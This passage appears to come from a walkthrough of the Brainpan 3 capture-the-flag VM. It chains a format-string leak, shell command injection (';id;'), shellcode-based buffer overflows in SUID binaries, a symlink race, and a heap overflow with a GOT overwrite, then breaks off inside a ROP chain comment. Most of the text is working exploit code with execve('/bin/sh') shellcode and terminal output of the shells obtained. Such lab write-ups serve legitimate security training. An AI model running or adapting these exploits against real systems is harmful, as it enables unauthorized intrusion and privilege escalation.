2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: 

When testing the option we can now see its indeed enabled…

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

REPORT [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20150911214757.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii]

Almost there…

So now we can create reports from within the brainpan console and trigger the vulnerable code in the report executable, or cant we?
Well, it seems that the brainpan console executes the report executable with the 1 option and in order to trigger the vulnerable code in record_id it would need to be executed with the 0 option. I got a bit stuck here and reached out for barrebas for a hint and he kinda told me to play some more with the report buffer.

When we insert a double quote in our report data a interesting error appears

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

aaa"

REPORT [aaa"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE

sh: 1: Syntax error: Unterminated quoted string

It seems that our double quote caused a error when the report commandline got executed, to be more precise a part of a string left unquoted but more interesting is that it seems we can do command injection using our report data.

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

";id;"

REPORT [";id;"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE

/var/www/repo/report  [0|1]
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found

And we can also insert a 0 into the commandline to trigger the vulnerable code in record_id

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0 #

REPORT [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0 #" "0"#]
SENDING TO REPORT MODULE

Segmentation fault (core dumped)

Exploit

So in order to exploit this we need to:
– Grab the login code and log in
– Enable the REPORT feature
– Send our payload report including the 0 option
– Get a shell?

The following code automates this whole process:

#!/usr/bin/env python
from select import select
from socket import *
from time import sleep
import telnetlib, sys, re, struct


class NetcatClass:
	def __init__(self, host, port):
		"""
		Netcat Class init.
		"""
		self.host = host
		self.port = int(port)
		self.delay = 0.05
		self.linemode = False
		self.sock = socket(AF_INET, SOCK_STREAM)

	# private functions
	def __check_state(self, timeout=0):
		"""
		Check the socket it's read, write and exception state 
		using select
		"""
		# we need abit of a delay to keep things
		# running smooth
		sleep(self.delay)
		return select([self.sock], [self.sock], [self.sock], timeout)

	# core functions
	def connect(self):
		"""
		Connect to host
		"""
		try:
			self.sock.connect((self.host, self.port))
			return True
		except error as e:
			print 'NetcatClassError:', e
			return False

	def close(self):
		"""
		Close the connection
		"""
		try:
			self.sock.close()
		except error as e:
			print 'NetcatClassError:', e

	def recv(self, size=4096):
		"""
		Recieve all data
		"""
		try:
			data = ''
			readable, writable, exceptional = self.__check_state()
			if readable:
				# while socket readable...
				while readable:
					# collect all data
					data += self.sock.recv(size)
					# re-check socket's state
					readable, writable, exceptional = self.__check_state()
			return data
		except error as e:
			print 'NetcatClassError:', e

	def send(self, data):
		"""
		Send data
		"""
		try:
			readable, writable, exceptional = self.__check_state()
			if writable:
				if self.linemode:
					data += '\n'
				self.sock.sendall(data)
		except error as e:
			print 'NetcatClassError:', e

	def sendrecv(self, data):
		"""
		Send and recieve data
		"""
		self.send(data)
		return self.recv()

	def interact(self):
		"""
		Interactive telnet client
		"""
		try:
			t = telnetlib.Telnet()
			t.sock = self.sock
			t.interact()
			t.close()
		except KeyboardInterrupt:
			self.close()


def p(v):
	return struct.pack('<L', v)

def exploit(host, port):
	# connect
	s = NetcatClass(host, port)
	# make all sends being treathed as line's eq. add a \n
	s.linemode = True
	s.connect()
	# recieve banner
	s.recv()
	# send formatstring pattern and read response containing access code	
	print '[+] Leak access code'
	acccode = re.findall(r"INVALID ACCESS CODE: (.*?)\n", s.sendrecv('%3$d'))
	if not acccode:
		print '[!] Failed to get access code!'
		s.close()
		exit()	
	print '[+] Access code leaked: {}'.format(acccode[0])
	# send access code
	s.sendrecv(acccode[0])
	# enable report feature
	print '[+] Enabling report feature'
	s.sendrecv('3')
	s.sendrecv(253 * 'Y')
	# create payload
	# linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
	# http://shell-storm.org/shellcode/files/shellcode-752.php
	shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
	# .bss:0804B0A0 ; char REPORT[500]
	# strncpy(REPORT, buf, 100u);
	__bss_REPORT = 0x0804B0A0
	# construct payload report	
	payload  = "AAA"
	payload += p(__bss_REPORT + 7)
	payload += shellcode
	# inject double qoute and a 0 to trigger
	# the vulnerable code in record_id
	payload += '" 0 #'
	# send payload report
	print '[+] Sending payload report'
	s.sendrecv('1')
	s.sendrecv( payload )
	# interactive shell?
	print '[+] Dropping into shell'
	s.send('python -c "import pty;pty.spawn(\'/bin/bash\')"')
	s.interact()

if __name__ == '__main__':
	exploit('192.168.178.22', '1337')

And finally executing the exploit gives as a shell for the anansi user.

h4x@kali:~/bp3$ ./report.py 
[+] Leak access code
[+] Access code leaked: 5869
[+] Enabling report feature
[+] Sending payload report
[+] Dropping into shell
anansi@brainpan3:/$ 

reynard

While looking around on the box I noticed the reynard folder is readable and within the “/private/” folder it has a SUID executable and a encrypted file

anansi@brainpan3:/$ ls -lah /home/reynard/private
ls -lah /home/reynard/private
total 20K
drwxrwx--- 2 reynard webdev  4.0K Jun 10 23:12 .
drwxr-xr-x 3 reynard reynard 4.0K Jun 10 22:30 ..
-rwsr-xr-x 1 reynard reynard 5.5K May 19 18:28 cryptor
-r-------- 1 reynard reynard   77 May 21 10:42 sekret.txt.enc

anansi@brainpan3:/home/reynard/private$ ./cryptor
./cryptor
Usage: ./cryptor file key

I copied both files to my local machine and started to analyze the cryptor executable

signed int __cdecl main(signed int argc, char **argv)
{
  signed int result; // eax@2

  if ( argc > 2 )
  {
    cryptFile(argv[1], argv[2]);
    result = 0;
  }
  else
  {
    printf("Usage: %s file key\n", *argv);
    result = 1;
  }
  return result;
}

int __cdecl cryptFile(char *pFilename, char *pKey)
{
  char *p; // eax@4
  int dkey; // eax@6
  char pOutFilename[100]; // [sp+Ch] [bp-78h]@1
  int DataByte; // [sp+70h] [bp-14h]@6 MAPDST
  FILE *fsin; // [sp+74h] [bp-10h]@5
  FILE *fsout; // [sp+78h] [bp-Ch]@4

  /*
  Zero buffers key and pOutFilename, each 100 bytes in size
  .bss:0804A080 ; char key[100]
  .bss:0804A080 key             db 64h dup(?)           ; DATA XREF: cryptFile+18
  */
  memset(key, 0, 100u);
  memset(pOutFilename, 0, 100u);
  /*
  very strange check...
  buffer overflow in pOutFilename when the
  length of pFilename > 100 and <= 116 bytes
  */
  if ( strlen(pFilename) <= 116 )
    strcpy(pOutFilename, pFilename);
  else
    strncpy(pOutFilename, pFilename, 90u);
  /*
  add filename extension(.enc) and truncate
  */
  p = &pOutFilename[strlen(pOutFilename)];
  *p = 'cne.';
  p[4] = 0;
  printf("[+] saving to %s\n", pOutFilename);
  /*
  copy pKey to global key buffer
  */
  strcpy(key, pKey);
  /*
  Encrypt data using the key and write to file
  */
  fsout = fopen(pFilename, "r");
  if ( fsout )
  {
    for ( fsin = fopen(pOutFilename, "w"); ; fputc(dkey ^ DataByte, fsin) )
    {
      DataByte = fgetc(fsout);
      if ( DataByte == -1 )
        break;
      DataByte = DataByte;
      dkey = atoi(pKey);
    }
    fclose(fsin);
    fclose(fsout);
  }
  return 0;
}

Starting from the main function we can see it passes the 2 arguments filename and key to the cryptFile function. Within this function it does a weird length check on the given filename, if the length is less or 116 chars it copies the full filename into the 100 bytes pOutFilename buffer resulting in a 16 bytes overflow. Now this is not enough to overflow the return address of this function.

stack layout
-00000078 pOutFile        db 100 dup(?)
-00000014 DataByte        dd ?
-00000010 fsin            dd ?                    ; offset
-0000000C fsout           dd ?                    ; offset
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 pFile           dd ?                    ; offset
+0000000C pKey            dd ?                    ; offset

But the interesting thing happens when we return from cryptFile and leave the main function. Since the main function exits with a leave instruction..

.text:08048786                 call    cryptFile
.text:0804878B                 mov     eax, 0
.text:08048790
.text:08048790 locret_8048790:                         ; CODE XREF: main+26
.text:08048790                 leave
.text:08048791                 retn

A leave instruction does the same as:

mov esp, ebp
pop ebp

Which effectively restores the stack pointer, now when we place a breakpoint on the leave instruction and start the executable with a 116 chars filename we can see what happens

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0xbffff400 ('A' )
ESP: 0xbffff480 --> 0xbffff69c ('A' )
EIP: 0x8048790 (leave)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048783:	mov    DWORD PTR [esp],eax
   0x8048786:	call   0x80485ed
   0x804878b:	mov    eax,0x0
=> 0x8048790:	leave  
   0x8048791:	ret    
   0x8048792:	xchg   ax,ax
   0x8048794:	xchg   ax,ax
   0x8048796:	xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff480 --> 0xbffff69c ('A' )
0004| 0xbffff484 --> 0xbffff711 --> 0x53530041 ('A')
0008| 0xbffff488 --> 0xbffff508 --> 0x0 
0012| 0xbffff48c --> 0xb7e6fe46 (:	mov    DWORD PTR [esp],eax)
0016| 0xbffff490 --> 0x3 
0020| 0xbffff494 --> 0xbffff534 --> 0xbffff686 ("/home/h4x/bp3/cryptor")
0024| 0xbffff498 --> 0xbffff544 --> 0xbffff713 ("SSH_AGENT_PID=4019")
0028| 0xbffff49c --> 0xb7fdd860 --> 0xb7e59000 --> 0x464c457f 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048790 in ?? ()

EBP(0xbffff400) points to our filename buffer and when executing the leave instruction that becomes ESP

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff404 ('A' )
EIP: 0x8048791 (ret)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048786:	call   0x80485ed
   0x804878b:	mov    eax,0x0
   0x8048790:	leave  
=> 0x8048791:	ret    
   0x8048792:	xchg   ax,ax
   0x8048794:	xchg   ax,ax
   0x8048796:	xchg   ax,ax
   0x8048798:	xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff404 ('A' )
0004| 0xbffff408 ('A' )
0008| 0xbffff40c ('A' )
0012| 0xbffff410 ('A' )
0016| 0xbffff414 ('A' )
0020| 0xbffff418 ('A' )
0024| 0xbffff41c ('A' )
0028| 0xbffff420 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048791 in ?? ()

And finally

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff408 ('A' )
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff408 ('A' )
0004| 0xbffff40c ('A' )
0008| 0xbffff410 ('A' )
0012| 0xbffff414 ('A' )
0016| 0xbffff418 ('A' )
0020| 0xbffff41c ('A' )
0024| 0xbffff420 ('A' )
0028| 0xbffff424 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x41414141 in ?? ()

So how are we gonna exploit this? well remember the key being stored in a global buffer, it seems that cryptor is compiled with executable stack and memory so we could place our shellcode in the key buffer and use in the filename buffer overflow to execute that shellcode by returning to it.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Exploit

#!/usr/bin/env python
import struct

def p(v):
	return struct.pack('<L', v)

# ./cryptor $(python cryptthis.py)
shellcode = '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
__bss_key = 0x0804a080
# overflow the 'pOutFile' buffer(argument 1) with
# the address of 'key'
# char pOutFile[100]; // [sp+Ch] [bp-78h]@1
argFile = 29 * p(__bss_key) # 29 * 4 = 116 bytes
# store shellcode in 'key'(argument 2)
# .bss:0804A080 ; char key[100]
argKey = shellcode
print argFile + ' ' + argKey

When executing the exploit it not always works, just execute it a few times till it does

h4x@kali:~/bp3$ ./cryptor $(python cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
Segmentation fault
h4x@kali:~/bp3$ ./cryptor $(python cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
$ whoami
h4x
$

And on the brainpan box

anansi@brainpan3:/home/reynard/private$ ./cryptor $(/tmp/cryptthis.py)
./cryptor $(/tmp/cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
Segmentation fault (core dumped)
anansi@brainpan3:/home/reynard/private$ ./cryptor $(/tmp/cryptthis.py)
./cryptor $(/tmp/cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
$ whoami
whoami
reynard
$ 

Puck
It took me a bit to figure out how to escalate to puck, when I did a netstat I noticed a service listing local on port 7075 and when connecting to it I was presented with the following text

$ nc 127.0.0.1 7075
nc 127.0.0.1 7075
open: No such file or directory
Incorrect key

After some more searching I found the trixd executable related to this service in the /usr/local/sbin folder

$ ls -lah /usr/local/sbin/
ls -lah /usr/local/sbin/
total 40K
drwxr-xr-x  2 root root 4.0K May 26 18:38 .
drwxr-xr-x 10 root root 4.0K May 19 18:06 ..
-rwxr-xr-x  1 root root  17K May 26 18:38 brainpan3
-rwxr-xr-x  1 root root 7.5K May 20 10:18 trixd
-rwxr-xr-x  1 root root  343 May 21 11:38 www

I copied the file to my local machine to analyze it

int checkKeyfile()
{
  int fd1; // eax@3 MAPDST
  int fd2; // eax@4 MAPDST
  int res; // ebx@5
  int v6; // [sp+10h] [bp-A8h]@0
  struct timeval stimeval; // [sp+24h] [bp-94h]@2
  struct stat sstat; // [sp+2Ch] [bp-8Ch]@2
  char pkey1[20]; // [sp+84h] [bp-34h]@2
  char pkey2[20]; // [sp+98h] [bp-20h]@2
  int v11; // [sp+ACh] [bp-Ch]@1

  v11 = v14;
  /*
  Anti debug code
  */
  if ( ptrace(0, 0, 1, 0, v6) < 0 )
  {
    res = -1;
  }
  else
  {
    setbuf(stdout, 0);
    stimeval.tv_usec = 1;
    memset(pkey1, 0, 20);
    memset(pkey2, 0, 20);
    /*
    check if the "/mnt/usb/key.txt" isn't a symbolic link
    */
    _lxstat(3, "/mnt/usb/key.txt", &sstat);
    if ( (sstat.st_mode & 0xF000) == C_ISLNK )
    {
      res = -1;
      puts("Key file is compromised.");
    }
    else
    {
      /*
      Do a little sleep...
      */
      select(1, 0, 0, 0, &stimeval);
      /*
      Open puck's keyfile and read its content
      */
      fd1 = open("/home/puck/key.txt", 0);
      if ( fd1 < 0 )
        perror("open");
      read(fd1, pkey1, 19u);
      /*
      Open the "/mnt/usb/key.txt" keyfile and read it's content
      */
      fd2 = open("/mnt/usb/key.txt", 0);
      if ( fd2 < 0 )
        perror("open");
      read(fd2, pkey2, 19u);
      /*
      Compare both keys and execute a shell when they match
      */
      res = strcmp(pkey2, pkey1);
      if ( res )
      {
        res = 0;
        puts("Incorrect key");
      }
      else
      {
        puts("Authentication successful");
        system("/bin/sh");
      }
    }
  }
  return res;
}

The “/mnt/usb/” folder is writable by reynard

131707    4 drwxrwx---   2 reynard  dev          4096 Aug  2 15:54 /mnt/usb

Once we connect to the service on 7075 the checkKeyfile function is executed which opens 2 keyfiles and compares the content of them and if they match we are dropped into a shell. The symbolic link check and sleep(using select) made it kinda obvious to me Superkojiman was hinting on a race condition. We could repeatedly create a keyfile in the usb folder and then change it to a symbolic link pointing to the keyfile in puck’s folder while at the same time connecting to the service and hope that at some point we beat the time between the symbolic link check and opening the file.
This would trick the code in comparing 2 the same files, the valid key in pucks folder.

A race to win

I wrote a piece of python code that repeatedly creates a keyfile, changes it to a symlink and does little sleeps between each action. This script has to be run as reynard since he is the only one allowed to write to the usb folder. Any other user can connect to the service.

#!/usr/bin/env python
import os
import time

# run this netcat commandline this script runs(needs a second terminal)
# for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done

if os.geteuid() != 1002:
	print 'Run as user reynard'
else:
	for i in range(1000):
		# create dummy key
		os.system('echo "h4xh4xh4xh4xh4xh4x" > /mnt/usb/key.txt')
		# wait abit ...
		time.sleep(0.1)
		# delete dummy key
		os.unlink('/mnt/usb/key.txt')
		# create symlink to puck key
		os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')
		# wait abit ...
		time.sleep(0.1)
		# delete symlink
		os.unlink('/mnt/usb/key.txt')

	print '[+] Finished'

In order for this to work we need 2 shells so I created another anansi shell using the report exploit. This anansi shell is used to connect to the service while the reynard shell executes the race script.

The race script.

$ python /tmp/race.py
python /tmp/race.py

Running the netcat loop in the 2nd terminal a few times until it succeeds..

anansi@brainpan3:/$ for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
...
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Authentication successful
id
id
uid=1001(puck) gid=1004(dev) groups=1001(puck)

No root, No glory

While I was searching for files related to puck I already found a interesting cron job

ls -lah /etc/cron.d/
total 16K
drwxr-xr-x  2 root root 4.0K May 20 19:35 .
drwxr-xr-x 90 root root 4.0K Sep 11 18:05 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder
-rw-r--r--  1 root root  100 May 19 18:25 msg_admin

$ cat /etc/cron.d/msg_admin
cat /etc/cron.d/msg_admin
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done

$ /usr/local/bin/msg_admin
Usage: /usr/local/bin/msg_admin priority message.txt
Message file format: requestername|message
Eg: tony|Add a new user to repo
Can have multiple messages in a single file separated by newlines.
Eg: tony|Please remove /tmp/foo
    cate|Reset password request

The cron job grabs all .msg files from the /opt/.messenger folder and passes them to the msg_admin executable and after that it deletes the files.
I Copied the executable to my local machine to analyze it.

struct struct_msg
{
  int Priority;
  char *Requestername;
  char *Msg;
};

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  int v8; // edi@15
  int v11; // [sp-8h] [bp-88h]@1
  char *sLineBuf; // [sp+Ch] [bp-74h]@3 MAPDST
  int dNrOfLines; // [sp+10h] [bp-70h]@1 MAPDST
  int i; // [sp+14h] [bp-6Ch]@1
  __int32 priority; // [sp+18h] [bp-68h]@1
  char *dest; // [sp+24h] [bp-5Ch]@1
  FILE *fdMsgFile; // [sp+28h] [bp-58h]@3
  char *delim; // [sp+34h] [bp-4Ch]@10
  char *linepart; // [sp+38h] [bp-48h]@11
  struct_msg *aMessages[10]; // [sp+3Ch] [bp-44h]@7
  int canarie; // [sp+64h] [bp-1Ch]@1

  canarie = *MK_FP(__GS__, 20);
  priority = 0;
  dNrOfLines = 0;
  i = 0;
  dest = &v11;
  if ( argc > 2 )
  {
    priority = atol(argv[1]);
    fdMsgFile = fopen(argv[2], "r");
    sLineBuf = malloc(400u);
    /*
    Count the lines in the file
    LINEMAX_2 = 400
    */
    while ( getline(&sLineBuf, &LINEMAX_2, fdMsgFile) > 0 )
      ++dNrOfLines;
    
    printf("[+] Recording %d entries\n", dNrOfLines);
    rewind(fdMsgFile);
    
    /*
    Create dNrOfLines amount of struct_msg structures
    and add them to aMessage[10] list (no boundery checks done)
    */
    for ( i = 0; i < dNrOfLines; ++i )
    {
      aMessages[i] = malloc(12u);
      aMessages[i]->Priority = priority;
      aMessages[i]->Requestername = malloc(10u);
      aMessages[i]->Msg = malloc(200u);
    }
    /*
    Parse each message line and assign its data to a struct_msg
    */
    for ( i = 0; i < dNrOfLines; ++i )
    {
      delim = "|";
      // read a line from the file
      if ( getline(&sLineBuf, &LINEMAX_2, fdMsgFile) > 1 )
      {
        // truncate current line
        sLineBuf[strlen(sLineBuf) - 1] = 0;
        /*
        Split the line on '|' into Requestername and Msg
        and copy it to a struct_msg (memory corruption)
        */
        linepart = strtok(sLineBuf, delim);
        strcpy(aMessages[i]->Requestername, linepart);
        linepart = strtok(0, delim);
        strcpy(aMessages[i]->Msg, linepart);
        /*
        Copy max 100 bytes from the current message to
        dest.. for no purpose, but very useful later 😉 
        */
        strncpy(dest, aMessages[i]->Msg, 100u);
      }
    }
    fclose(fdMsgFile);
    notify_admin(aMessages, dNrOfLines);
    result = 0;
  }
  else
  {
    usage(*argv);
    result = 1;
  }
  v8 = *MK_FP(__GS__, 20) ^ canarie;
  return result;
}

This is a classic memory corruption. For each message(line) in a .msg file it creates a struct_msg structure and allocates memory for it’s variable’s and then adds it to a list. Next it loops trough the file and splits every line on the ‘|’ delimiter and copies each part to the structure variables ‘Requestername’ and ‘Msg’. These variables have a fixed size of 10(Requestername) and 200(Msg). Since no lengths are being checked we could corrupt a structure pointer in memory.

The following code creates a .msg file with 2 messages and each its variables filled up to its max so it does not corrupt anything.

#!/usr/bin/env python
import sys
import struct

# message 1
payload =  10  * '\x41' # A
payload += '|'
payload += 200 * '\x42' # B
payload += '\n'
# message 2
payload += 10  * '\x43' # C
payload += '|'
payload += 200 * '\x44' # D
payload += '\n'

open('poc.msg','wb').write(payload)

When we analyze the memory using GBD we can see how all the memory is mapped

0x804c388:	0x00000001	0x0804c398	0x0804c3a8	0x00000011
0x804c398:	0x41414141	0x41414141	0x00004141	0x000000d1
0x804c3a8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3b8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3c8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3d8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3e8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3f8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c408:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c418:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c428:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c438:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c448:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c458:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c468:	0x42424242	0x42424242	0x00000000	0x00000011
0x804c478:	0x00000001	0x0804c488	0x0804c498	0x00000011
0x804c488:	0x43434343	0x43434343	0x00004343	0x000000d1
0x804c498:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4a8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4b8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4c8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4d8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4e8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4f8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c508:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c518:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c528:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c538:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c548:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c558:	0x44444444	0x44444444	0x00000000	0x00020aa1

The first struct_msg structure is located at 0x804c388 and the second at 0x804c478. Now when we use a larger(216 bytes) ‘Msg’ buffer for the first message we would overwrite the ‘Requestername’ pointer of the second struct_msg structure and effectively control the destination pointer and source data in the next strcpy call resulting in a Write-Anything-Anywhere condition allowing us to patch a GOT entry.

This code patches the got.strtok address to 0x43434343, strtok is the next function executed after the strcpy.

#!/usr/bin/env python
import sys
import struct

# message 1
# .got.plt:0804B05C off_804B05C     dd offset strtok        ; DATA XREF: _strtok
payload = 10 * '\x41'
payload += '|'
payload += 200 * '\x42'
payload += 12 * '\x42'
# overwrite 2nd struct it's requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes 0x43434343
payload += '\n'
# message 2
payload += 4 * '\x43' # written to got.strtok
payload += '|'
payload += 200 * '\x44'
payload += '\n'

open('poc.msg','wb').write(payload)

Some GDB

gdb-peda$ x/150xw 0x804c388
0x804c388:	0x00000001	0x0804c398	0x0804c3a8	0x00000011
0x804c398:	0x41414141	0x41414141	0x00004141	0x000000d1
0x804c3a8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3b8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3c8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3d8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3e8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3f8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c408:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c418:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c428:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c438:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c448:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c458:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c468:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c478:	0x42424242	0x0804b05c	0x0804c400	0x00000011
0x804c488:	0x00000000	0x00000000	0x00000000	0x000000d1
0x804c498:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4c8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4d8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4e8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4f8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c508:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c518:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c528:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c538:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c548:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c558:	0x00000000	0x00000000	0x00000000	0x00020aa1
...
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac --> 0x8048ce3 (:	mov    DWORD PTR [ebp-0x48],eax)
0004| 0xbffff2b0 --> 0x0 
0008| 0xbffff2b4 --> 0x8048f4d --> 0x100007c 
0012| 0xbffff2b8 --> 0x804c008 --> 0xfbad2488 
0016| 0xbffff2bc ('B' repeats 100 times "\234, \357\377\267 \360\377\267")
0020| 0xbffff2c0 ('B' repeats 96 times "\234, \357\377\267 \360\377\267")
0024| 0xbffff2c4 ('B' repeats 92 times "\234, \357\377\267 \360\377\267")
0028| 0xbffff2c8 ('B' repeats 88 times "\234, \357\377\267 \360\377\267")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()

Based on the GDB output we can see that if we would execute a pop(4) gadget we would return to ‘dest’ data of the first(previous) message which is stored on the stack by the ‘strncpy(dest, aMessages[i]->Msg, 100u);’.

Root All Thingz

I wrote a ROP payload which loads the address of atol from the got into eax and sums this value up till system by adding 0xE900 in 3 stages and then call’s eax(system) with the argument ‘/tmp/foo’, this is a script created by us and when executed it copies a root owned SUID shell to tmp.

#!/usr/bin/env python
import sys
import struct
import os

def p(v):
	return struct.pack('<L', v)

# .got.plt:0804B05C off_804B05C     dd offset strtok        ; DATA XREF: _strtok
__strtok_got	= 0x0804B05C
# .got.plt:0804B04C off_804B04C     dd offset atol          ; DATA XREF: _atol
__atol_got		= 0x0804B04C
# pop pop pop pop retn
__ppppr 		= 0x08048DDC
# .rodata:08048ED8 aEgTonyPleaseRe db 'Eg: tony|Please remove /tmp/foo',0
# '/tmp/foo' starts at 0x08048ED8 + 23
__foo_str 		= 0x08048ED8
# 0x080480C7	0x0000E800
__int16_e800h 	= 0x080480C7 
# 0x08048093	0x00000100
__int16_0100h 	= 0x08048093


# ROP
# eax = 0
# 0x08048790: mov eax 0x0804b074 ; sub eax 0x0804b074 ; ...
# eax += atol
# 0x08048e06: pop ebx <- __atol_got - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax += e800h
# 0x08048e06: pop ebx <- __int16_e800h - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax += 0100h
# 0x08048e06: pop ebx <- __int16_0100h - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax -> system
